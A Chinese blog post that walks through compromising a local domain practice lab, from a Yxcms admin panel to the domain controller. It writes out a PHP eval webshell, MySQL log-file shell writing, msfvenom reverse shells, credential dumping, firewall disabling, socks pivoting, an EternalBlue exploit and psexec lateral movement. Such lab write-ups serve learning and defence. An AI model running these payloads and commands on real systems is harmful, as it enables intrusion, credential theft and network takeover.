“感謝您閱讀本篇部落格!如果您覺得本文對您有所幫助或啟發,請不吝點贊和分享給更多的朋友。您的支援是我持續創作的動力,也歡迎留言交流,讓我們一起探討技術,共同成長!謝謝!🚀✨”
網路拓撲圖
靶機參考文章
CS/MSF派發shell
環境搭建
IP搭建教程
本機雙網路卡
65
網段和83
網段是自己本機電腦(虛擬機器)中的網路卡, 靶機外網的IP
需要藉助我們這兩個網段之一出網
Kali IP
kali
地址網路介面卡選擇,為VMnetNAT
模式會透過DHCP自動獲取IP,本機65
網路卡會自動分配IP 和靶機win7
同網段
簡單來說,橋接模式是獨立內網
IP
,NAT
模式則是利用物理機的地址分配一個IP
和物理同一個網段,雙網路卡就是一個情況,一個網段出網路,一個不出網,不出網IP
為內網網段,或者自定義也是獨立的地址
192.168.65.148 // kali 地址
掃描win7
出網機開放埠,處於同一個網段可以掃描到
靶機IP
解壓後出現後最vmx
字尾檔案,開啟虛擬機器自己弄好 初始密碼為hongrisec@2019
已經全部修改為saber.1029
【注意】實際上域環境三臺虛擬機器的 IP 初始狀態就已經被配置為固定的 192.168.52.XXX/24網段(同時已配置好域控 IP 必定為 192.168.52.138),故 VMware 僅主機模式的 VMnet1 網路卡應注意也配置為 192.168.52.XXX/24 網段
IP地址
主機 | IP地址 |
---|---|
kali 攻擊機 | 192.168.65.148(虛擬機器VMnet8網路卡) 本機雙網路卡=WIFi IP+kali IP 65+內部IP 172.28.160.1 |
Win7外網伺服器 | 外網IP 192.168.65.154 / 內網IP 192.168.52.143 提權後IP變為65.155 |
Win2003 域成員機 | 192.168.52.141 (不出網IP固定52網段) |
Win2008 DC 域控 | 192.168.52.138 (不出網IP固定52網段) |
攻擊機與win7
可以互相ping
通出網,如果出現Ping
不同可能是win7
防火牆未關閉或未開機
Web GetShell
前期資訊收集
win7
機器開啟小皮服務否則nmap
無法掃描80
埠和 3306
arp-scan-l // kali前期使用該命令掃出同有一網段下其他主機
xxxxx // 確定了win7 IP 地地址為 192.168.65.154
掃描win7
外網IP
地址,目標開放了80
3306
埠
nmap 192.168.65.154
kali
訪問 80埠 phpinfo(
)頁面: 自己主機也是可以訪問到此頁面,本身就是同一個網段,win7
網段是物理機給予的
御劍目錄掃描出資料庫管理後臺和beifen.rar
檔案路徑
http://192.168.65.154/PhpMyAdmin
http://192.168.65.154/beifen.rar
壓縮包config.php
給出了資料庫的賬戶密碼資訊
Yxcms後臺模板 Getshell
下載壓縮包解壓後根據資料夾名稱判斷是個cms
拼接訪問
主頁公告資訊洩露出了後臺管理的地址和賬戶密碼訪問後登入即可
http://192.168.65.154/yxcms/index.php?r=admin
賬戶:admimm
密碼:123456
登入後臺找到前臺模板進行編輯寫一句話木馬蟻劍聯機.
選擇編輯的檔案為index_index.php
猜測應該是網站起始吧最好找路徑
一句話🐎
<?php eval($_POST["cmd"]);
phpinfo(); // 新增列印函式佐證
echo 'aaaaa'; // 輸出 aaaaa
?>
訪問網站前臺馬子上線,掏出蟻劍連線,取得webshell
PHPMyAdmin日誌 Getshell
資料庫登入如果無密碼只能嘗試弱口令了,這裡是應該前期找檔案已經有了密碼直接登入就行了
賬號: root
密碼: root
into outfile寫入一句話 X
INTO OUTFILE是
MySQL資料庫中的一個語句,它可以將查詢結果寫入到檔案中
條件
root
許可權- 知道絕對路徑
secure_file_priv
沒有具體值
使用INTO OUTFILE
將結果寫入到檔案中
SELECT 'Hello, world!' AS message INTO OUTFILE '/path/to/file.txt';
這樣檔案"/path/to/file.txt"
的內容將變為:
Hello, world!
前期透過最高許可權的賬號登入了,並且原始碼洩露和phpinfo()
已經知道了絕對路徑,查secure_fiel_priv
show global variables like "%secure%"; // 查詢
value為“null”時,不允許讀取任意檔案
value為“空”時,允許讀取任意檔案
這裡值為null
無法執行
phpmyadmin 日誌寫入一句話
使用語句查詢路徑,這是已經修改過的
show global variables like "%general%";
使用命令修改配置開關和路徑
set global general_log="on"; //開啟日誌,修改為on
//修改日誌路徑(在上面提到的phpinfo.php中有洩露路徑)
set global general_log_file="C:/phpStudy/WWW/a.php";
利用日誌寫入一句話木馬位置是在網站www根目錄下的a.php
直接訪問連線
SELECT'<?php eval($_POST["cmd"]);?>'
蟻劍連線成功取得webshell
後滲透
MSF 生成木馬上線
Kali
進入MSF
生成shell.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.65.148 LPORT=1111 -f exe -o shell.exe
// -p為指定payload,使用msf的payload的時候要和這個相同,
//lhost為Kali ip,lport為 自定義埠,-f為payload型別為exe
複製木馬使用蟻劍將檔案上傳到win7
目錄下
msf
開啟監聽迴響用handler
模組接收反彈模組
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.65.148
set lport 1111
exploit
蟻劍虛擬終端執行exe
檔案 MSF成功反彈shell
反彈shell
後先檢視當前使用者,而後透過getsystem
命令直接進行提權到系統許可權
getuid // 獲取當前使用者ID
getsystem // 用於獲取系統許可權的命令,通常在滲透測試中用於嘗試提升當前使用者許可權至系統管理員許可權。
// 這個命令通常在攻擊者已經獲得一定許可權的情況下使用,以獲取更高階別的許可權。在實際操作中,getsystem命令可能會利用系統中的漏洞或弱點,以獲取系統管理員許可權
提取使用者hash
值
run post/windows/gather/smart_hashdump // 提取命令
load kiwi // 載入抓取密碼工具
creds_all // 抓取
**hash
**加密方式
Windows系統中,雜湊密碼的格式通常為:使用者名稱稱:RID:LM-HASH值:NT-HASH值。
其中,NT-HASH是透過以下步驟生成的:
1. 將明文口令轉換成十六進位制的格式。
2. 將轉換後的十六進位制字串轉換成Unicode格式,即在每個位元組之後新增0x00。
3. 對Unicode格式的字串進行MD4加密,生成32位的十六進位制數字串
舉例來說,如果使用者密碼為test123,首先將其轉換成十六進位制的格式為74657374313233
然後轉換成Unicode格式為7400650073007400310032003300。
最後,對Unicode字串7400650073007400310032003300進行MD4加密,
得到NT-HASH值為c5a237b7e9d8e708d8436b6148a25fa1。
這個NT-HASH值可以用於驗證使用者的身份而無需儲存明文密碼。
run post/windows/manage/enable_rdp // 開啟3389遠端桌面
nmap
探測屬於3389
埠處於開啟狀態
sessions -i # 檢視所有會話 這個要回到msf模組下才能看到
sessions 1 # 選擇為此ID為1的會話
MSF
許可權Shell
至CS
開啟CS
物理機Windows
作為客戶端 Kali
作為服務端啟動
建立監聽器,埠號需和IP
需和MSF
監聽設定一致,這裡的IP
是kali
地址
MSF
執行命令派發
bg # 退出回到反彈模組
use exploit/windows/local/payload_inject # 本地漏洞利用模組payload_inject。這個模組通常用於在目標系統上注入惡意程式碼或payload
set payload windows/meterpreter/reverse_http # :設定payload 表示在目標系統上使用Meterpreter反向HTTP負載。這將允許建立一個反向連線
set DisablePayloadHandler true #payload_inject執行之後會在本地產生一個新的handler,設定為true表示不重複生成
set lhost 192.168.65.148 #公網vps ip
set lport 80 #監聽埠需和CS設定一直
set session 1 #派發session 為1 也就是第一個會話 透過會話列表可以檢視
exploit
CS
客戶端成功收到反彈shell
CS 生成木馬上線
CS
上傳非常簡單,參考前文過程,生成的木馬透過前文的蟻劍上傳win7
執行即可,上線,後續對win7
資訊收集和橫向移動其他域內其他主機
蟻劍下操作
dir // 列出當前目錄下所有檔案
.\beacon.exe // 執行木馬檔案 CS 成功上線
提權system
-
svc-exe 提權
1.建立一個以system許可權啟動的程式,這個程式的作用是連線指定的命名管道。
2.建立一個程序,並讓程序建立命名管道。
3.讓之前的以system許可權啟動的程式啟動並連線這個命名管道。
4.利用ImpersonateNamedPipeClient()函式生成system許可權的token。
5.利用system許可權的token啟動cmd.exe
資訊收集
sleep 0 // 修改心跳速度為0 立馬響應
shell systeminfo // 檢視主機系統詳細資訊
檢視進行和防火牆開啟狀態是為了判斷是是否有防護軟體,但是顯然是沒有的,不然CS
生成無免殺的馬子是不能上傳到win7
伺服器
shell tasklist // 檢視被控主機程序列表
shell netsh firewall show state // 檢視防火牆狀態是否開啟,操作模式為禁用代表防火牆為關閉狀態
出現命令提示:
Microsoft已經將防火牆管理工具從"netsh firewall"遷移到了"netsh advfirewall firewall"。
這種更改可能是為了提高安全性、功能性或效能等方面的考慮
shell netsh advfirewall set allprofile state off // 完全關閉防火牆命令
域資訊收集
shell net config Workstation // 檢視域資訊
shell view // 檢視當前域內列表,點選上方定位圓圈就可以看到
net dclist // 檢視域控列表
抓取憑證hash
win7
主機3個使用者賬戶密碼
抓取明文密碼
CS
許可權shell
至MSF
MSF
開啟監聽模組,使用一個埠進行監聽
msfconsole // 開啟MSF
use exploit/multi/handler // 使用監聽模組
set payload windows/meterpreter/reverse_htpp // 反向連線 CS將得到的許可權反彈至MSF,協議和監聽器一致
set lhost 0.0.0.0 // IP地址為任意的 任意地址流量都可以反彈
set lport 6666// 埠和監聽器設定一致
run // 開啟監聽
CS
這裡是已經透過反向木馬得到了shell
,生成的木馬監聽器就是HTTP
的,所以許可權給msf
時,新建的監聽器還是HTTP
CS
在需要委派的許可權主機右鍵新建會話,則選擇新的監聽器為我們建立的
橫向移動
橫向滲透,使攻擊機利用win7
做跳板直接通訊到域控,利用win7
為媒介
kali 攻擊機 | 192.168.65.148 |
---|---|
Win7外網伺服器 | 外網IP 192.168.65.154 / 內網IP 192.168.52.143 |
Win2008 DC 域控 | 192.168.52.138 (不出網IP固定52網段) |
MSF
MSF
路由+Socks
代理通訊
橫向滲透前,將win7
作為跳板機,將其內網52
網段新增到路由,利用msf
路由和socks
配置讓同一網段的機器可以通訊到
run post/multi/manage/autoroute // 在當前會話自帶新增路由 (攻擊機新增一個網段和被控主機一個網段 52網段)
run autoroute -p // 檢視當前路由 已經新增好了52網段
設定proxychains
代理,,現在只是msf
工具以使用,但的工具還是沒有通訊的,所以再次建立一個路由
bg // 退回msfshell模式
use auxiliary/server/socks_proxy // 使用socks代理 // 改名字了和之前小迪做的不一樣
show options // 檢視設定
set srvhost 127.0.0.1 // 設定代理為本地
set srvport 888 // 有點問題再開了一個代理 埠為888
run // 執行
jobs // 檢視後臺任務
找到proxychains4.conf
檔案因為不會vim
操作起來很不舒服,定位到埠位置,點選x
後可以刪除,點選i
開始新增對應的埠號 和前文設定一致
ms17_010
永恆之藍445
昨晚配置路由和socks
之後正常是kali
是可以接收到52
網段的流量,然後使用nmap
探測開放埠,會探測到445
然後打永恆之藍得到許可權
socks
開啟監聽一個埠,將此流量轉發給msf
因為埠號設定一致,msf新增了路由,所以流量又被帶入內網中,在kali
中的工具都可以監聽到
proxychains nmap -Pn -sT 192.168.52.138
xxxx 發現存在445埠
檢測永恆之藍可能存在的地址
search ms17-010
use auxiliary/scanner/smb/smb_ms17_010 // 永恆之藍漏洞掃描檢測模組
set rhosts 192.168.3.21-32 // 檢測此IP範圍內
run
命令列出現 Host
漏洞可能存在,使用漏洞攻擊模組進行攻擊
這裡域控密碼忘記了登入補上.但總的就是這個意思了,先設定跳板機和sosks
進行通訊,而後透過開放的埠利用永恆之藍去打域控,打下了域控也就是差不多了
use exploit/windows/smb/ms17_010_eternalblue // use 0 // 利用模組
set payload windows/x64/meterpreter/reverse_tcp // 設定攻擊載荷反向
set lhost 192.168.52.143 // 地址為 跳板機win7地址,因為要透過它去打域控地址 138
set rhosts 192.168.52.138 // 被攻擊的地址為域控
set lport 5555 // 隨意選擇kali一個埠進行監聽
run // 執行即可
CS
建立SMB監聽器橫向
SMB Beacon
相對隱蔽,繞防火牆時可能發揮奇效(系統防火牆預設是允許445
的埠與外界通訊的,其他埠可能會彈窗提醒,會導致遠端命令列反彈shell失敗),此流量封裝在SMB
協議中
對DC
域控進行橫向移動利用先前抓取的明文密碼,配合SMB
監聽器,
執行後直接用抓取到的明文去移動直接正向連線域控主機,接下來可以拿域控去打另外一臺機器,這是第一種派生方式,第二種beacon
上建立監聽,用來作為跳板進行內網穿透 前提是能夠透過 shell
之類訪問到內網其他主機
橫向移動psexec
感覺這個就是拿明文去移動啟動機器了,psexec
屬於登入命令,在有密碼情況下遠端登入其他主機執行命令
簡單粗暴拿下